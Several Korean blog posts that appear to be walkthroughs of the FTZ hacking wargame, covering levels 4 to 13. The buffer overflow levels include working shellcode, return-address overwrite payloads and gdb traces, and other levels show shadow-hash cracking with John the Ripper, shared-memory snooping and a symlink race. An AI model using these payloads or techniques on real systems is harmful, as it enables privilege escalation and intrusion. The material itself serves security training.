728x90
#include <stdlib.h> 

main(int argc, char *argv[])
{
   long i=0x1234567;
   char buf[1024];

   setreuid( 3094, 3094 );
   if(argc > 1)
   strcpy(buf,argv[1]);

   if(i != 0x1234567) {
   printf(" Warnning: Buffer Overflow !!! \n");
   kill(0,11);
   }
}

변수 i를 이용해 버퍼오버플로우를 감지하고 있다.

이번엔 스택에 값을 덮어씌울 때 i 부분은 유지한 채로 값을 덮어씌워야 한다.

export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

쉘 코드를 환경 변수로 등록한다. level11과 level12에서 문법들을 다뤘다. attackme의 소스코드에 setreuid가 있기에 setreuid가 없는 쉘 코드를 썼다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

#include <stdio.h>
int main(){
	printf("%p\n",getenv("sh"));
}

등록한 환경 변수의 주솟값을 알아내는 코드다. 컴파일한다.

(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080483c8 <main+0>:	push   ebp
0x080483c9 <main+1>:	mov    ebp,esp
0x080483cb <main+3>:	sub    esp,0x418  //스택에 1048bytes 공간 할당
0x080483d1 <main+9>:	and    esp,0xfffffff0
0x080483d4 <main+12>:	mov    eax,0x0
0x080483d9 <main+17>:	sub    esp,eax
0x080483db <main+19>:	mov    DWORD PTR [ebp-12],0x1234567  //변수 i의 주솟값 ebp-12
0x080483e2 <main+26>:	sub    esp,0x8
0x080483e5 <main+29>:	push   0xc16
0x080483ea <main+34>:	push   0xc16
0x080483ef <main+39>:	call   0x80482e8 <setreuid>
0x080483f4 <main+44>:	add    esp,0x10
0x080483f7 <main+47>:	cmp    DWORD PTR [ebp+8],0x1
0x080483fb <main+51>:	jle    0x8048417 <main+79>
0x080483fd <main+53>:	sub    esp,0x8
0x08048400 <main+56>:	mov    eax,DWORD PTR [ebp+12]
0x08048403 <main+59>:	add    eax,0x4
0x08048406 <main+62>:	push   DWORD PTR [eax]
0x08048408 <main+64>:	lea    eax,[ebp-1048]  //배열 buf의 주솟값 ebp-1048
0x0804840e <main+70>:	push   eax
0x0804840f <main+71>:	call   0x8048308 <strcpy>
0x08048414 <main+76>:	add    esp,0x10
0x08048417 <main+79>:	cmp    DWORD PTR [ebp-12],0x1234567  //변수 i와 0x1234567비교

attackme의 스택을 살펴보았다.

ebp위로 1048 bytes의 공간을 임의의 문자로 채우는데 단, ebp-12의 위치에는 0x1234567이 있어야한다.

1048bytes 채우고 나서 sfp가 저장된 4 bytes 공간을 또 채우고 마지막으로 retn 주소에 쉘 코드의 주소를 넣는다.

[level13@ftz tmp]$ ./getenv
0xbffffe69
[level13@ftz tmp]$ ../attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x69\xfe\xff\xbf"'`
sh-2.05b$ my-pass
TERM environment variable not set.

Level14 Password is "what that nigga want?".
728x90

'FTZ' 카테고리의 다른 글

level15  (0) 2023.01.19
level14  (0) 2023.01.19
level12  (0) 2023.01.19
level11  (0) 2023.01.09
level10  (0) 2023.01.08
728x90
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main( void )
{
	char str[256];

 	setreuid( 3093, 3093 );
	printf( "문장을 입력하세요.\n" );
	gets( str );
	printf( "%s\n", str );
}
[level12@ftz tmp]$ gdb attackme -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>:	push   ebp
0x08048471 <main+1>:	mov    ebp,esp
0x08048473 <main+3>:	sub    esp,0x108
0x08048479 <main+9>:	sub    esp,0x8
0x0804847c <main+12>:	push   0xc15
0x08048481 <main+17>:	push   0xc15
0x08048486 <main+22>:	call   0x804835c <setreuid>
0x0804848b <main+27>:	add    esp,0x10
0x0804848e <main+30>:	sub    esp,0xc
0x08048491 <main+33>:	push   0x8048538
0x08048496 <main+38>:	call   0x804834c <printf>
0x0804849b <main+43>:	add    esp,0x10
0x0804849e <main+46>:	sub    esp,0xc
0x080484a1 <main+49>:	lea    eax,[ebp-264]
0x080484a7 <main+55>:	push   eax
0x080484a8 <main+56>:	call   0x804831c <gets>
0x080484ad <main+61>:	add    esp,0x10
0x080484b0 <main+64>:	sub    esp,0x8
0x080484b3 <main+67>:	lea    eax,[ebp-264]
0x080484b9 <main+73>:	push   eax
0x080484ba <main+74>:	push   0x804854c
0x080484bf <main+79>:	call   0x804834c <printf>
0x080484c4 <main+84>:	add    esp,0x10

(gdb를 이용해 main 함수의 소스코드를 보려면 level12의 홈 디렉터리의 tmp 폴더로 attackme 실행파일을 복사한다. 그렇지 않으면 attackme엔 setuid가 걸려있어 어셈블리 코드를 볼 수 없다.)

gets 함수의 인자엔 str이 전달된다.

어셈블리 코드를 보면 str의 주소가 ebp-264인 것을 알 수 있다. 즉, str 배열은 스택의 [ebp-264]부터 256 bytes가 저장되어 있다.

그리고 264-256=8bytes는 dummy일 것이다. dummy아래론 sfp, retn주소가 존재할 것이다. 따라서 우리가 입력한 값이 str을 넘어 sfp(4 bytes)까지 아무 값으로 채우고 마지막 retn 주소에 환경변수의 주소를 저장한다.

export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

먼저 환경 변수를 등록한다. \x90은 NOP을 의미하는데 CPU는 NOP을 만나면 무시하고 NOP이 아닌 값이 나타날 때까지 이동한다. \x90을 넣지 않으면 segmentation fault가 뜬다. 안 넣을 때와 비교해 보면 차이는 없던데 왜 안 넣으면 안 되는지는 모르겠다. 문법 관련해서는 다음의 링크를 참조 바란다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

vi 에디터를 이용해서 c 소스파일을 만들어서 컴파일한다.

#include <stdio.h>
int main(){
	printf("%p\n",getenv("sh"));
}

실행하면 환경 변수의 주소값이 나온다. 나의 경우는 0xbffffe69이다.

[level12@ftz tmp]$ ./getenv
0xbffffe69
[level12@ftz tmp]$ (python -c 'print "A"*268+"\x69\xfe\xff\xbf"';cat)|../attackme
문장을 입력하세요.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAi?
my-pass
TERM environment variable not set.

Level13 Password is "have no clue".

level11에서는 입력을 ./attackme `python -c 'print "A"'` 형식으로 입력했는데 이는 argv[1]을 입력받기에 그런 것이다.

level12에서는 gets 함수로 입력을 받기에 level11처럼 할 순 없다. gets 함수에 입력값을 전달하는 과정을 보자.

쉘에서 A프로그램|B프로그램의 의미는 A프로그램의 출력을 B프로그램의 입력으로 전달하라는 것이다.

A프로그램;B프로그램의 의미는 A프로그램을 실행 후 B프로그램을 실행하라는 것이다. A프로그램의 실행은 실패해도 B프로그램은 실행된다.

종합해 보면 python ~~ 명령을 실행 후 cat를 실행하는 구조이다. python 명령을 실행하여 뒤에 전달된 문자열들이 출력되는데 | 때문에 attackme에 입력값으로 전달된다. 따라서 gets 함수가 이를 입력받을 수 있는 것이다. ;cat를 사용해야 하는 이유는 쉘코드가 실행된 후에 입력값을 키보드로 전달하기 위함이다. cat 명령을 bash쉘에서 실행하면 내가 입력하는 값이 그대로 출력되는 것을 볼 수 있다. 따라서 ;cat | ../attackme를 통해 내가 입력한 값들을 attackme에 전달할 수 있는 것이다.

python -c 'print "A"*268+"\x69\xfe\xff\xbf"' 에서 \x69\xfe\xff\xbf 순서로 입력하는 이유는 리틀엔디안이라서 그렇다. 이렇게 전달하면 메모리상에는 bffffe69로 나타나는 것을 gdb를 통해 확인할 수 있다. 참고로 0xbf가 더 큰 주솟값을 가진다.

setuid가 설정되어 있기에 attackme 실행 시 euid가 level13이 되며 setreuid 함수를 통해 ruid와 euid를 level13으로 설정할 수 있다. 그 후에 main 함수 종료 시 retn 주소에 등록한 쉘 코드(환경 변수) 주소로 이동하여 쉘 코드를 실행한다. 현재 우리의 ruid와 euid는 level13이며 이때 my-pass를 입력하면 level13의 비밀번호가 출력된다. 참고로 쉘 코드가 실행되어도 AAAA... 가 출력 후 입력을 기다리는 상태로 있기에 쉘 실행이 티 나지 않아도 my-pass를 입력하면 된다.

level11과 12에서 bof의 기본 입력방식을 터득했다. 앞으론 이를 이용만 하면 된다.

level13의 비밀번호: have no clue

728x90

'FTZ' 카테고리의 다른 글

level14  (0) 2023.01.19
level13  (0) 2023.01.19
level11  (0) 2023.01.09
level10  (0) 2023.01.08
level9  (0) 2023.01.08
728x90
// attackme 소스 코드
#include <stdio.h>
#include <stdlib.h>
 
int main( int argc, char *argv[] )
{
	char str[256];

 	setreuid( 3092, 3092 );
	strcpy( str, argv[1] );
	printf( str );
}
[level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
[level11@ftz tmp]$ cat > getsh.c
#include <stdio.h>
main(){
printf("%p\n",getenv("sh")); //환경 변수 주소 획득
}
[level11@ftz tmp]$ gcc getsh.c -o getsh
[level11@ftz tmp]$ ./getsh
0xbffffeb1
[level11@ftz tmp]$ ../attackme `python -c 'print "A"*268+"\xb1\xfe\xff\xbf"'`
sh-2.05b$ my-pass
TERM environment variable not set.

Level12 Password is "it is like this".

sh-2.05b$

쉘 코드를 환경변수로 등록해서 환경 변수의 주소로 버퍼오버플로우 공격을 하면 된다.

export로 환경 변수를 등록한다. \x90은 NOP(no operation)을 의미한다. CPU는 NOP을 만나면 연산을 하지 않고 유효한 명령어를 만날 때까지 지나간다. 이런 방식을 NOP Sled 기법이라 한다. NOP을 안 넣으면 실행이 안된다. 이유는 정확히 모르겠다.

NOP를 30개와 쉘 코드를 환경 변수 sh에 등록하였다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

위의 쉘 코드는 구글링 해서 25 bytes 찾았다. attackme의 소스 코드에 setreuid 함수가 존재하기에 쉘 코드에는 필요 없다. setreuid가 있어야만 쉘 코드를 level12 권한으로 실행할 수 있다.

`python -c 'print "A"*268+"\xb1\xfe\xff\xbf"'`

명령어를 살펴보자.

쉘에서 ``는 $()와 같은 기능을 한다. `명령어` or $(명령어)는 명령어를 실행하여 나온 결과를 출력한다.

bash 쉘에서 `ls`를 입력하면 ls 결과 출력하고 결과물을 bash 쉘에서 입력으로 받는데 ls 결과는 파일 리스트이므로 이런 명령을 해석하지 못해 bash 쉘은 에러를 반환한다.

-c 옵션은 command line argument로 코드를 받아서 실행해주는 옵션이다.

"A"*268 즉 AAA...AA 총 268개를 의미한다. 268개를 입력해야 ebp-264부터 ebp까지를 "A"로 채울 수 있다.

그다음 이어서 return 할 주소의 위치가 등장한다.

../attakme의 인자로 쓰면 AAA...AA????가 된다. ????는 순차적으로 0xb1에 해당하는 문자, 0xfe에 해당하는 문자.. 이런 식이다. 정확한 문자는 모르고 의미도 없다. 결국 attackme의 인자로 들어가고 gdb로 들여다보면 0xbffffeb1이 저장된다.

\xb1\xfexff\xbf를 전달하는데 0xbffffeb1처럼 거꾸로 저장되는 이유는 리틀엔디안을 따르기 때문이다.

설명하지 않은 용어들은 검색해 보자.

아래는 gdb를 이용해서 내부를 들여다본 과정이다. argv를 인자로 받는 과정에서 스택에 어떤 식으로 저장되는지 알 수 있다. (gdb를 이용해 main 함수의 소스코드를 보려면 level12의 홈 디렉터리의 tmp 폴더로 attackme 실행파일을 복사한다. 그렇지 않으면 attackme엔 setuid가 걸려있어 어셈블리 코드를 볼 수 없다.)

[level11@ftz tmp]$ gdb ./a.out -q
(gdb) b main
Breakpoint 1 at 0x804839d
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048394 <main+0>:	push   ebp
0x08048395 <main+1>:	mov    ebp,esp
0x08048397 <main+3>:	sub    esp,0x108  //ebp-264
0x0804839d <main+9>:	and    esp,0xfffffff0
0x080483a0 <main+12>:	mov    eax,0x0
0x080483a5 <main+17>:	sub    esp,eax
0x080483a7 <main+19>:	sub    esp,0x8
0x080483aa <main+22>:	push   0xc14
0x080483af <main+27>:	push   0xc14
0x080483b4 <main+32>:	call   0x80482c4 <setreuid>
0x080483b9 <main+37>:	add    esp,0x10
0x080483bc <main+40>:	sub    esp,0x8
0x080483bf <main+43>:	mov    eax,DWORD PTR [ebp+12]  //argv 주소(자세한건 아래)
0x080483c2 <main+46>:	add    eax,0x4 //argv[1] 주소(자세한건 아래) 
0x080483c5 <main+49>:	push   DWORD PTR [eax]  //argv[1]
0x080483c7 <main+51>:	lea    eax,[ebp-264]  //str 배열 위치
0x080483cd <main+57>:	push   eax
0x080483ce <main+58>:	call   0x80482d4 <strcpy>
0x080483d3 <main+63>:	add    esp,0x10
0x080483d6 <main+66>:	sub    esp,0xc
0x080483d9 <main+69>:	lea    eax,[ebp-264]
0x080483df <main+75>:	push   eax
0x080483e0 <main+76>:	call   0x80482b4 <printf>
---Type <return> to continue, or q <return> to quit---       
0x080483e5 <main+81>:	add    esp,0x10
0x080483e8 <main+84>:	leave  
0x080483e9 <main+85>:	ret    
0x080483ea <main+86>:	nop    
0x080483eb <main+87>:	nop    
End of assembler dump.
(gdb) b *main+51
Breakpoint 2 at 0x80483c7
(gdb) r `python -c 'print "BCDEFGHI"+"A"*260+"\xb1\xfe\xff\xbf"'`
Starting program: /home/level11/tmp/a.out `python -c 'print "BCDEFGHI"+"A"*260+"\xb1\xfe\xff\xbf"'`

Breakpoint 1, 0x0804839d in main ()
(gdb) c
Continuing.
0x080483ce in main ()
(gdb) ni
0x080483d3 in main ()
(gdb) x/68x 0xbffff110
0xbffff110:	0x45444342	0x49484746	0x41414141	0x41414141
0xbffff120:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff130:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff140:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff150:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff160:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff170:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff180:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff190:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff1a0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff1b0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff1c0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff1d0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff1e0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff1f0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff200:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff210:	0x41414141	0x41414141	0x41414141	0xbffffeb1  //환경 변수(쉘 코드)주소
(gdb) i r ebp
ebp            0xbffff218	0xbffff218
(gdb) x/x 0xbffff224  //ebp+12주소에 저장된 값. argv의 주소값. &argv
0xbffff224:	0xbffff264  //argv
(gdb) x/x 0xbffff268  //argv+4 즉, argv[1]의 주소값. &argv[1]
0xbffff268:	0xbffffaed //argv[1]
(gdb) x/x 0xbffffaed  //"BCDE"의 주소값. argv[1]
0xbffffaed:	0x45444342  //"BCDE"
(gdb) x/20x 0xbffffaed
0xbffffaed:	0x45444342	0x49484746	0x41414141	0x41414141
0xbffffafd:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb0d:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb1d:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb2d:	0x41414141	0x41414141	0x41414141	0x41414141
(gdb) x/x 0xbffff264
0xbffff264:	0xbffffad5
(gdb) x/s 0xbffffad5
0xbffffad5:	 "/home/level11/tmp/a.out"
(gdb) x/s 0xbffffaed
0xbffffaed:	 "BCDEFGHI", 'A' <repeats 192 times>...
(gdb) q
The program is running.  Exit anyway? (y or n) y

level12의 password: it is like this

728x90

'FTZ' 카테고리의 다른 글

level13  (0) 2023.01.19
level12  (0) 2023.01.19
level10  (0) 2023.01.08
level9  (0) 2023.01.08
level8  (0) 2023.01.08
728x90
[level10@ftz level10]$ cat hint


두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다.
그 대화방은 공유 메모리를 이용하여 만들어졌으며, 
key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여 
level11의 권한을 얻어라.

- 레벨을 완료하셨다면 소스는 지우고 나가주세요.

공유 메모리에 접근해서 데이터를 읽어오면 된다.

각 프로세스는 메모리에 자신들의 code, data, heap, stack을 가진다.

공유 메모리는 말 그대로 프로세스들이 공유하는 메모리다.

[level10@ftz tmp]$ ipcs -m

------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status      
0x00001d6a 0          root      666        1028       0

key 값이 7530인 공유 메모리가 존재함을 알 수 있다.

구글링해서 공유 메모리에 접근하는 방법을 알아냈다.

#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <stdio.h>
int main(){
        int id=shmget(7530,1028,IPC_CREAT|0666);
        char* str=(char*)shmat(id,NULL,SHM_RDONLY);
        printf(str);
}

shmget은 공유메모리의 id를 구하는 함수다.

shmat는 id에 해당하는 공유 메모리의 주소를 알려준다.

https://unabated.tistory.com/entry/shmget-shmat-shmdt-%EA%B3%B5%EC%9C%A0%EB%A9%94%EB%AA%A8%EB%A6%AC-%EA%B3%B5%EA%B0%84-%ED%95%A0%EB%8B%B9%EC%B2%A8%EB%B6%80%EB%B6%84%EB%A6%AC

 

shmget(), shmat(), shmdt() - 공유메모리 공간 할당/첨부/분리

리눅스에서 공유메모리를 출력해주는 명령어 ipcs -m: ■ 개념 공유메모리는 단어 뜻에서 알 수 있듯이 하나의 프로세스에서가 아니라 여러 프로세스가 함께 사용하는 메모리를 말한다. 이 공유

unabated.tistory.com

위의 링크를 참조했다.

위의 코드를 컴파일하면 level11의 비밀번호가 나온다.

[level10@ftz tmp]$ gcc test.c
[level10@ftz tmp]$ ./a.out
멍멍: level11의 패스워드는?
구타: what!@#$?
728x90

'FTZ' 카테고리의 다른 글

level12  (0) 2023.01.19
level11  (0) 2023.01.09
level9  (0) 2023.01.08
level8  (0) 2023.01.08
level7  (0) 2023.01.08
728x90
[level9@ftz tmp]$ cat ../hint


다음은 /usr/bin/bof의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
main(){
 
  char buf2[10];
  char buf[10];
 
  printf("It can be overflow : ");
  fgets(buf,40,stdin);
 
  if ( strncmp(buf2, "go", 2) == 0 )
   {
        printf("Good Skill!\n");
        setreuid( 3010, 3010 );
        system("/bin/bash");
   }
 
}

버퍼오버플로우 문제이다.

내가 입력한 값이 buf를 넘어 buf2에 go를 저장해야 한다.

gdb /usr/bin/bof를 해도 권한이 없는지 디버깅이 안된다.

/usr/bin/bof를 cp 명령으로 복사하는 것도 안된다.

level10의 tmp 폴더를 이용하자. tmp 폴더는 맘껏 사용하라고 제공되는 연습공간이다.

소스코드를 오른쪽 마우스로 복사하여 vi 에디터를 열고 붙여 넣자.

gcc bof.c -o bof 명령을 입력하여 컴파일 후 bof라는 실행파일을 만든다.

gdb bof -q는 bof 실행파일에 대해 gdb를 실행한다. -q는 gdb 실행할 때 출력되는 값들이 안 나오게 해 준다.

set disassembly-flavor intel로 at&t 어셈블리어를 intel 어셈블리어로 바꾼다.

0x08048433 <main+19>:	push   0x8048554
0x08048438 <main+24>:	call   0x8048350 <printf>
0x0804843d <main+29>:	add    esp,0x10
0x08048440 <main+32>:	sub    esp,0x4
0x08048443 <main+35>:	push   ds:0x8049698	///fgets의 인자 stdin
0x08048449 <main+41>:	push   0x28		///fgets의 인자 40
0x0804844b <main+43>:	lea    eax,[ebp-40]	///fgets의 인자 buf의 주소는 ebp-40
0x0804844e <main+46>:	push   eax						
0x0804844f <main+47>:	call   0x8048320 <fgets>		
0x08048454 <main+52>:	add    esp,0x10
0x08048457 <main+55>:	sub    esp,0x4
0x0804845a <main+58>:	push   0x2		///strncmp의 인자 2
0x0804845c <main+60>:	push   0x804856a	///strncmp의 인자 go
0x08048461 <main+65>:	lea    eax,[ebp-24]	///strncmp의 인자 buf2의 주소 ebp-24
0x08048464 <main+68>:	push   eax
0x08048465 <main+69>:	call   0x8048330 <strncmp>
---Type <return> to continue, or q <return> to quit---
0x0804846a <main+74>:	add    esp,0x10
0x0804846d <main+77>:	test   eax,eax
0x0804846f <main+79>:	jne    0x80484a6 <main+134>
0x08048471 <main+81>:	sub    esp,0xc
0x08048474 <main+84>:	push   0x804856d
0x08048479 <main+89>:	call   0x8048350 <printf>
0x0804847e <main+94>:	add    esp,0x10
0x08048481 <main+97>:	sub    esp,0x8

함수의 인자는 뒤에서부터 먼저 스택에 들어간다.

ebp-40이 buf의 주소다.

ebp-24이 buf2의 주소다.

fgets함수는 buf에 내 입력값을 저장한다. 난 buf의 10 bytes 범위를 넘겨 6 bytes를 더 입력하여 buf2에 도달하는 게 목표다.

/usr/bin/bof를 실행한다. ebp-40부터 ebp-24까지 16 bytes를 임의의 문자들로 채우고, 추가로 2 bytes의 go를 입력하여 buf2의 앞부분을 채운다. buf2의 2 bytes가 "go"와 같아야 되기 때문이다. 둘이 같으면 strncmp 함수가 0을 반환한다.

서로 같다면 setreuid(3010,3010)을 통해 ruid와 euid가 level10이 되고 level10의 권한으로 /bin/bash를 실행할 수 있다.

[level9@ftz level9]$ /usr/bin/bof
It can be overflow : 0123456789012345go
Good Skill!
[level10@ftz level9]$ my-pass

Level10 Password is "interesting to hack!".

 

 

728x90

'FTZ' 카테고리의 다른 글

level11  (0) 2023.01.09
level10  (0) 2023.01.08
level8  (0) 2023.01.08
level7  (0) 2023.01.08
level6  (0) 2023.01.08
728x90
level9의 shadow 파일이 서버 어딘가에 숨어있다.
그 파일에 대해 알려진 것은 용량이 "2700"이라는 것 뿐이다.

find / -size 2700c 2>/dev/null

위의 명령어 실행 결과 /etc/rc.d/found.txt 파일이 나온다.

/etc/rc.d/found.txt 내용은 level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524이다.

shadow 파일 형식이다.

id:패스워드:마지막 패스워드 변경 날짜:패스워드 최소 사용 기간: 패스워드 최대 사용 기간:패스워드 만료 이전 경고일 수:패스워드 만료 이후 계정이 잠기기 전까지 비활성 일 수: 계정 만료일:예약 필드

https://reakwon.tistory.com/137

 

[리눅스] /etc/passwd, /etc/shadow 파헤치기, 각 필드에 대한 설명

/etc/passwd(사용자 정보) 보안이나 리눅스를 배우신다면 /etc/passwd에 대한 이해는 필수입니다. 정보보안기사 시험에도 당골손님이기도 하죠. /etc/passwd에는 시스템에 등록된 사용자의 정보들이 담겨

reakwon.tistory.com

위의 사이트에 잘 나와있다.

패스워드 부분을 kali linux에서 john the ripper 툴을 이용하여 크랙한다.

먼저 /etc/passwd 에서 level9에 해당하는 라인을 passwd.txt 파일에 복사한다.

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524 이대로 shadow.txt 파일에 복사한다.

unshadow passwd.txt shadow.txt > unshadowed.txt 명령을 입력한다.

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:3009:3009:Level 9:/home/level9:/bin/bash

위의 내용이 unshadowed.txt에 저장된다.

john unshadowed.txt를 입력하면 크랙된다.

https://erev0s.com/blog/cracking-etcshadow-john/

 

Cracking /etc/shadow with John

Learn how to crack /etc/shadow file using John the Ripper.

erev0s.com

위 사이트를 참고하였다.

┌──(root㉿kali)-[~]
└─# john unshadowed.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
apple            (level9)     
1g 0:00:00:00 DONE 2/3 (2023-01-08 07:07) 2.173g/s 17400p/s 17400c/s 17400C/s 123456..larry
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

답은 apple이라는 것을 알 수 있다.

728x90

'FTZ' 카테고리의 다른 글

level10  (0) 2023.01.08
level9  (0) 2023.01.08
level7  (0) 2023.01.08
level6  (0) 2023.01.08
level5  (0) 2023.01.08
728x90
/bin/level7 명령을 실행하면, 패스워드 입력을 요청한다.

1. 패스워드는 가까운곳에..
2. 상상력을 총동원하라.
3. 2진수를 10진수를 바꿀 수 있는가?
4. 계산기 설정을 공학용으로 바꾸어라.

/bin/level7을 실행하고 비밀번호를 아무거나 입력하면 다음과 같은 에러가 뜬다.

cat: /bin/wrong.txt: No such file or directory

과거엔 ftz 서버에 접속해서 문제를 풀었는데 이제는 개인이 주로 가상머신을 이용해 ftz 서버를 구축하고 문제를 풀기에 /bin/wrong.txt가 없다고 한다.

원래대로면 /bin/wrong.txt 파일의 내용은 다음과 같다.

--_--_- --____- ---_-__ --__-_-

2진수 얘기를 하는 거 보니 - : 1, _ : 0으로 변환해 보자.

--_--_- > 1101101(2) > 109(10)

--____- > 1100001(2) > 97(10)

---_-__ > 1110100(2) > 116(10)

--__-_- > 1100101(2) > 101(10)

7개씩 자르면 위와 같이 된다. 아스키코드에 해당하는 문자로 변환하면 다음과 같다.

참고로 아스키코드는 7bit로 표현되며 0~127까지의 값을 가진다.

mate

/bin/level7을 실행하여 mate를 입력하면 level8의 비밀번호가 나온다.

Congratulation! next password is "break the world".

 

728x90

'FTZ' 카테고리의 다른 글

level9  (0) 2023.01.08
level8  (0) 2023.01.08
level6  (0) 2023.01.08
level5  (0) 2023.01.08
level4  (0) 2023.01.08
728x90
hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.
(엔터 입력함)

  #####################################
  ##                                 ##
  ##         텔넷 접속 서비스        ##
  ##                                 ##
  ##                                 ##
  ##     1. 하이텔     2. 나우누리   ##
  ##     3. 천리안                   ##
  ##                                 ##
  #####################################

접속하고 싶은 bbs를 선택하세요 :

이 상태에서 어떤 것을 골라도 반응이 없다.

hint가 떴을 때 ctrl+c를 입력한다. 그럼 level6 쉘을 얻는다.

ctrl+c는 SIGINT 시그널로서 터미널에서 보내는 인터럽트 신호이다.

작업을 중지시키는 신호이다. 일시정지가 아닌 중간에 작업을 종료시킨다.

[level6@ftz level6]$ cat password
Level7 password is "come together".
728x90

'FTZ' 카테고리의 다른 글

level8  (0) 2023.01.08
level7  (0) 2023.01.08
level5  (0) 2023.01.08
level4  (0) 2023.01.08
level3  (0) 2023.01.07
728x90
/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.

이를 이용하여 level6의 권한을 얻어라.

레이스 컨디션 공격의 형태이다.

lvl5라는 빈 파일을 만들고 level5.tmp를 심볼릭 링크로 lvl5를 가리키게 만든다.

/usr/bin/level5를 실행하면 level5.tmp를 생성 후 쓰는데 levle5.tmp는 lvl5를 가리키는 심볼릭 링크 파일이므로 lvl5에 쓰는 것과 마찬가지다.

/usr/bin/level5 실행 전과 후를 비교해보면 lvl5 파일의 용량이 0에서 31 bytes로 변한 것을 알 수 있다.

728x90

'FTZ' 카테고리의 다른 글

level7  (0) 2023.01.08
level6  (0) 2023.01.08
level4  (0) 2023.01.08
level3  (0) 2023.01.07
level2  (0) 2023.01.07
728x90
누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!

ls /etc/xined.d를 해보면 backdoor 파일이 있다.

service finger 
{
	disable	= no
	flags		= REUSE
	socket_type	= stream        
	wait		= no
	user		= level5
	server		= /home/level4/tmp/backdoor
	log_on_failure	+= USERID
}​

중요한 부분은 user과 server이다.

user: 서비스를 실행하는 사용자.

server: 서비스의 실행 파일 절대 경로.

더 궁금하면 아래 링크를 참고하자.

https://sungpil94.tistory.com/206

 

Linux_리눅스 Xinetd 슈퍼데몬

